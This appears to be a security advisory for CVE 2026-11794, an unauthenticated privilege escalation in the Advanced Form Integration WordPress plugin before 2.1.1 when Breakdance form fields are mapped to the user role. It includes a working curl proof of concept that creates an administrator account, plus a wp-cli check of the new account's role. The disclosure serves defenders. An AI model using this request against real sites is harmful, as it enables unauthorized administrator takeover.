Advanced Form Integration < 2.1.1 – Unauthenticated Privilege Escalation via Breakdance Form Role Mapping | CVE 2026-11794

Description

The plugin does not restrict the WordPress role assigned when it creates a user from a public form submission, allowing unauthenticated visitors to create an administrator account when an active integration maps the user role to a public form field. This requires a specific, non-default multi-plugin configuration.

Proof of Concept

Prerequisites (admin-side config via the plugin's integration editor):
1. Advanced Form Integration 2.1.0 active.
2. WooCommerce active (Create Customer action) OR FluentAffiliate active (Create Affiliate action).
3. Breakdance active with a published page containing a Breakdance Form Builder form (e.g. fields name, email, message). Breakdance is required at runtime for the unauthenticated handler.
4. An active integration on that form: Action = WooCommerce / Create Customer; field mapping:
     Email    = {{email}}
     Password = {{email}}
     Role     = {{name}}
   The "Role" field is offered by the integration editor for Create Customer (and "User Role" for FluentAffiliate Create Affiliate). The issue arises when an admin maps it to a public, attacker-controllable form field.

Attack (unauthenticated, no cookies). Assuming page ID 245 and Breakdance Form Builder element ID 101:

  EMAIL="attacker$(date +%s)@example.test"
  curl -sk -X POST "https://victim.example/wp-admin/admin-ajax.php" \
    --data-urlencode "action=breakdance_form_custom" \
    --data-urlencode "post_id=245" \
    --data-urlencode "form_id=101" \
    --data-urlencode "fields[email]=${EMAIL}" \
    --data-urlencode "fields[name]=administrator" \
    --data-urlencode "fields[message]=test"

The public value fields[name]=administrator is substituted into the mapped Role placeholder ({{name}}), reaches the user-creation sink, and is assigned as the WordPress role with no allowlist preventing "administrator".

Expected result: a new WordPress user is created with the administrator role. Because Password is mapped to {{email}}, the attacker can log in at /wp-login.php using the submitted email as both login and password. Verify:

  wp user get "${EMAIL}" --field=roles
  # -> administrator